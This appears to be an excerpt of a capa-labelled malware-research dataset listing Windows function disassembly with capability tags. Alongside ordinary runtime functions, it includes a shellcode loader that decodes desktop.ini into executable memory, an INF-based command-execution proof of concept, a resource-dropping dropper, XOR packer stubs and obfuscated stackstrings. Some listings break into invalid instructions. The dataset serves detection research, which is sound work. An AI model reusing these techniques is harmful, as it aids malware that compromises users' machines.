joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10037290
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10054198
push 0x10054190
push str.FlsAlloc
push 0x1f
call fcn.1003714f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100372c4
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004320c]
call esi
jmp 0x100372ca
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1003730e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100541a8
push 0x100541a0
push str.FlsGetValue
push 0x21
call fcn.1003714f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10037345
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004320c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1003734d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100541b0
push 0x100541a8
push str.FlsSetValue
push 0x22
call fcn.1003714f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10037387
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1004320c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1003be89
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1003bf26
push ebx
push esi
call fcn.1003be52
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10038174
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1003bed3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003bf25
push edi
push eax
call fcn.100368b7
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1003bef3
call fcn.1003687d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003bf24
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10038174
add esp, 0x20
test eax, eax
jne 0x1003bf12
push edi
call fcn.1003687d
jmp 0x1003bf1a
push ebx
call fcn.1003687d
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1003bf29
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1003bf3a
pop esi
ret
push ebx
push edi
push esi
call fcn.1003be52
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100368b7
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1003bf62
push ebx
push esi
push edi
call fcn.10024bf0
add esp, 0xc
push 0
call fcn.1003687d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x1003c6bc
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003c1d7
Function at 0x1003ccde
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1003cc5a
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1003ce4d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1003ce4d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1003ce02
jg 0x1003cd3a
test eax, eax
je 0x1003cdf8
push 1
push 0x1000
call fcn.100378d4
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1003cd5d
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1003cdef
push 0x8000
push ebx
call fcn.1003cb8b
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1003cd86
jg 0x1003cd81
cmp ecx, 0x1000
jb 0x1003cd86
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100357a4
add esp, 0x10
cmp eax, 0xffffffff
je 0x1003cdcb
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1003cd81
jl 0x1003cdb2
test ecx, ecx
jne 0x1003cd73
push dword [ebp - 0xc]
push ebx
call fcn.1003cb8b
push esi
call fcn.1003687d
add esp, 0xc
xor ebx, ebx
jmp 0x1003ce5b
cmp byte [edi + 0x24], 0
je 0x1003cde2
cmp dword [edi + 0x20], 5
jne 0x1003cde2
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1003cded
mov ebx, dword [edi + 0x18]
jmp 0x1003cdef
xor ebx, ebx
push esi
call fcn.1003687d
pop ecx
jmp 0x1003ce5b
test ecx, ecx
jg 0x1003cdc4
jl 0x1003ce02
test eax, eax
jae 0x1003cdc4
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10037dab
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1003ce22
cmp byte [edi + 0x1c], 0
je 0x1003cdc4
jmp 0x1003ce53
push ebx
call fcn.10027c4a
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1003cdc4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1003ce5b
cmp byte [edi + 0x1c], 0
je 0x1003ce58
mov ebx, dword [edi + 0x18]
jmp 0x1003ce5b
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10037dab
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1003f6d2
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1005c0e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x1003f715
call fcn.10027d3e
mov dword [eax], 0xf
call fcn.10027d51
mov dword [eax], 0xd
call fcn.1003788a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10023cd9
leave
ret
test eax, eax
jne 0x1003f71c
inc eax
jmp 0x1003f709
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x1003f707
xor eax, eax
cmp ecx, 1
setne al
jmp 0x1003f709

Function at 0x10042600
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1004262d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1004262d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x456008]
jne 0x401010
repz ret
jmp fcn.004016fb

Function at 0x40497a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402d78
and dword [ebp - 4], 0
cmp dword [0x458d70], 0
mov ebx, eax
jne 0x404a2b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404adc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x404adc
push eax
call fcn.00402d06
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x458d70], eax
call esi
push eax
call fcn.00402d06
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x458d74], eax
call esi
push eax
call fcn.00402d06
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x458d78], eax
call esi
push eax
call fcn.00402d06
pop ecx
mov dword [0x458d80], eax
test eax, eax
je 0x404a2b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402d06
pop ecx
mov dword [0x458d7c], eax
mov eax, dword [0x458d7c]
cmp eax, ebx
je 0x404a83
cmp dword [0x458d80], ebx
je 0x404a83
push eax
call fcn.00402d81
push dword [0x458d80]
mov esi, eax
call fcn.00402d81
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404a83
test edi, edi
je 0x404a83
call esi
test eax, eax
je 0x404a7a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404a7a
test byte [ebp - 0xc], 1
jne 0x404a83
or dword [ebp + 0x10], 0x200000
jmp 0x404abc
mov eax, dword [0x458d74]
cmp eax, ebx
je 0x404abc
push eax
call fcn.00402d81
pop ecx
test eax, eax
je 0x404abc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404abc
mov eax, dword [0x458d78]
cmp eax, ebx
je 0x404abc
push eax
call fcn.00402d81
pop ecx
test eax, eax
je 0x404abc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x458d70]
call fcn.00402d81
pop ecx
test eax, eax
je 0x404adc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404ade
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x452590
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x404
mov eax, dword [0x456008]
xor eax, esp
mov dword [esp + 0x400], eax
cmp dword [0x82bb0c], 0x114e
mov eax, dword [esp + 0x408]
mov dword [0x82b950], eax
jne 0x4525d1
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.00401006
add esp, 0x404
ret
Function at 0x452600
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
cmp edi, 0x182
jne 0x452623
push 0
push 0
push 0
push str.ralerurohuzurusayovuzuwusanuwed
push str.jevebimeyevigokufalekimufazul
push 0
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor edx, edx
test edi, edi
jle 0x452662
lea esp, [esp]
lea ecx, [esp + 4]
mov dword [esp], 5
mov dword [esp + 4], 0
call fcn.004525f0
mov eax, dword [esp + 4]
add eax, 0x46
mov dword [esp], eax
nop
sub dword [esp], 0x46
mov al, byte [esp]
xor byte [edx + esi], al
inc edx
cmp edx, edi
jl 0x452630
cmp edi, 0x2d
jne 0x45267b
mov dword [0x82bc40], 0xa62e7790
mov dword [0x82bc44], 0xffffffff
add esp, 8
ret

Function at 0x452680
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x804
mov eax, dword [0x456008]
xor eax, esp
mov dword [esp + 0x800], eax
mov eax, dword [0x456c60]
push esi
mov esi, dword [0x82b954]
push edi
mov edi, dword [0x82bb0c]
push eax
call fcn.00452590
add esp, 4
cmp dword [0x82bb0c], 0x2f
jne 0x4526bf
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call fcn.00452600
cmp dword [0x82bb0c], 0x568
pop edi
pop esi
jne 0x4526f3
push 0
push 0
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea edx, [esp + 0x404]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov ecx, dword [esp + 0x800]
xor ecx, esp
call fcn.00401006
add esp, 0x804
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x6bd32ed9
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x74c94ad0
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4011c4
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x18]
push ebx
push esi
push edi
mov edi, dword [eax + 0x30]
mov ebx, ecx
mov dword [ebp - 4], edi
call dword [sym.imp.ntdll.dll_RtlAcquirePebLock]
push dword [edi + 0xa0]
call dword [sym.imp.ntdll.dll_RtlEnterCriticalSection]
mov edi, dword [edi + 0x10]
lea esi, [ebx + 8]
push 8
pop ecx
add edi, 0x38
lea eax, [ebx + 4]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 0x20]
lea esi, [ebx + 0x18]
push 8
pop ecx
add edi, 0x2c
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 0x20]
lea esi, [ebx + 0x10]
push 8
pop ecx
push 0x8000
push eax
push ebx
add edi, 0x24
rep movsb byte es:[edi], byte [esi]
and dword [eax], 0
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtFreeVirtualMemory]
mov eax, dword [ebp - 4]
push dword [eax + 0xa0]
call dword [sym.imp.ntdll.dll_RtlLeaveCriticalSection]
call dword [sym.imp.ntdll.dll_RtlReleasePebLock]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401244
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 0x120116
push 0x403048
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401283
push ebx
push ebx
push 0x5f
push str._version__r_nsignature___Windows_NT__r_n_r_n_DefaultInstall__r_nRunPreSetupCommands__poc_r_n_r_n_poc__r_n
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x40132b
Capabilities:
Delete file
Get windows directory from kuser_shared_data
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov edx, 0x7ffe0030
push ebx
push esi
push edi
push ecx
lea ecx, [ebp - 0x24]
call section..text
mov ebx, dword [sym.imp.ntdll.dll_NtTerminateProcess]
pop ecx
test al, al
je 0x40135b
push ecx
call fcn.00401244
pop ecx
test al, al
jne 0x401364
push 0xc0ec0000
push 0xffffffffffffffff
call ebx
lea eax, [ebp - 0x22c]
mov esi, 0x208
push eax
push esi
call dword [sym.imp.ntdll.dll_RtlGetCurrentDirectory_U]
test eax, eax
je 0x401382
add eax, 0x27
cmp eax, esi
jb 0x40138b
push 0xc0000206
push 0xffffffffffffffff
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x22c]
push eax
call ebx
push 6
lea edi, [ebp - 0x22c]
mov esi, 0x403044
pop ecx
lea edi, [edi + eax*2]
lea eax, [ebp - 0x22c]
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
lea edi, [ebp - 0x22c]
mov esi, str.poc_exec_cmd.inf
push 0x24
pop ecx
lea edi, [edi + eax*2]
rep movsb byte es:[edi], byte [esi]
call fcn.00401288
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x24]
call fcn.004011c4
push 0
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtTerminateProcess]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x495026
Capabilities:
Contain obfuscated stackstrings

Disassembly:
adc al, 0x8d
je 0x495062
sbb byte [ecx - 0x1017438b], cl
std
invalid
dec esi
or al, 0xf
mov bh, 0xd0
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x495076
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x495067
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00494e22
fdiv dword [ebp + 0x458d3d94]
test al, 0x50
call fcn.00494e32
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00494de7
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x495110
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00494e22
rcl dword [edx], 0x3e
mov cs, word [ebp - 0x17af3fbb]
invalid
Function at 0x4951a2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00494e32
push eax
push esi
push dword [ebp + 8]
call fcn.00494de7
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00494e32
push eax
push esi
push dword [ebp + 8]
call fcn.00494de7
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00494e32
push eax
push esi
push dword [ebp + 8]
call fcn.00494de7
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00494e22
jmp 0x88d7fcea

Function at 0x4955df
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4955c2
dec eax
je 0x4955b9
sub eax, 3
je 0x4955b0
mov dword [ebp - 4], 0x40
jmp fcn.004955df
mov dword [ebp - 4], 4
jmp 0x4955c5
mov dword [ebp - 4], 0x20
jmp 0x4955c5
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x495611
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x495591
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00494e22
jnp 0x495660
inc cl
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x49561d
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
test dword [edx + 0x51fffffc], esi
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
invalid
invalid
mov dh, 0xfc
invalid
Function at 0x496fc1
Capabilities:
Access peb ldr_data

Disassembly:
pushal
mov ebp, esp
add ebp, 0x24
push esp
call fcn.00494e22
invalid

Function at 0x498755
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004985d4
Function at 0x40139b
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x4013d0
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x4013cd
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x4013d9
add edx, 0x28
cmp edx, esi
jne 0x4013bb
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x4013d6

Function at 0x40181e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40185d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40185d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40185d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40185d
cmp dword [ecx + 0x74], 0xe
jbe 0x40185d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ecx
mov eax, str.C:Documents_and_SettingsAdministratorMy_Documents
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401010
sub eax, edx
inc eax
push eax
push str.C:Documents_and_SettingsAdministratorMy_Documents
push esi
call dword [sym.imp.MSVCR90.dll_strncpy]
add esp, 0xc
push esi
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jl 0x40104d
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401042
sub eax, edx
pop ecx
ret
push 0x4023b8
lea eax, [esp + 4]
push eax
mov dword [esp + 8], 1
call sub.MSVCR90.dll__CxxThrowException
int3

Function at 0x4010e0
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push esi
push edi
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push eax
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
test esi, esi
jbe 0x401127
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401110
push 0
lea ecx, [esp + 0x14]
push ecx
push esi
push edi
push ebx
call ebp
mov eax, dword [esp + 0x10]
add edi, eax
sub esi, eax
jne 0x401110
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x401140
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
push 0x66
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
mov esi, eax
call fcn.004014d0
add esp, 4
mov ebp, eax
test edi, edi
jbe 0x4011a0
sub esi, ebp
mov ecx, edi
jmp 0x401190
mov dl, byte [esi + eax]
xor dl, byte [esp + 0x24]
inc eax
sub ecx, 1
mov byte [eax - 1], dl
jne 0x401190
mov ecx, dword [esp + 0x1c]
test ecx, ecx
je 0x4011be
mov eax, dword [esp + 0x20]
test eax, eax
jbe 0x4011be
push eax
push ecx
mov eax, ebx
call fcn.00401070
add esp, 8
jmp 0x4011d1
mov eax, str.C:Program_FilesWindows_Media_Player_setup_wm.exe
mov edx, ebx
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4011c7
mov ecx, edi
mov edx, ebp
mov eax, ebx
call fcn.004010e0
push ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
mov eax, ebx
pop ebp
lea edx, [eax + 1]
pop ebx
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401200
sub eax, edx
pop ecx
ret